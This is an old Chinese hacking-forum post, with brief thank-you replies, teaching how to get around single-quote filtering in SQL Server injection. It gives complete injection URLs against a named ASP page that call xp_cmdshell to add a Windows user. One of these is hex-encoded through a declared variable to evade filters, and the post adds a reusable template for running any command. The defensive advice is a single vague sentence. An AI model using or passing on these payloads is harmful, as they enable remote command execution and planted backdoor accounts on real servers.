论坛: 黑客进阶 标题: 饶过\(单引号)限制继续射入 复制本贴地址    
作者: cck123 [cck123]    论坛用户   登录
饶过\'(单引号)限制继续射入
2003-10-14 2:51:50
by SuccKey(angel)

  我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》(URL:http://4ngel.net/article.php?aid=17)也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:
http://www.ilikekiss.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:
http://www.ilikekiss.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a


解决办法:

  过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。



地主 发表时间: 10/15 08:49

回复: somy [gefujian]   论坛用户   登录
谢谢,先COPY!

B1层 发表时间: 10/15 12:21

回复: tommy_fool [tommy_fool]   论坛用户   登录
谢谢~~:)

B2层 发表时间: 10/19 16:20

回复: agan [ganhuilu]   论坛用户   登录
多谢

B3层 发表时间: 10/20 21:27

回复: cck123 [cck123]   论坛用户   登录
应该多谢作者!!!

B4层 发表时间: 10/20 23:24

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号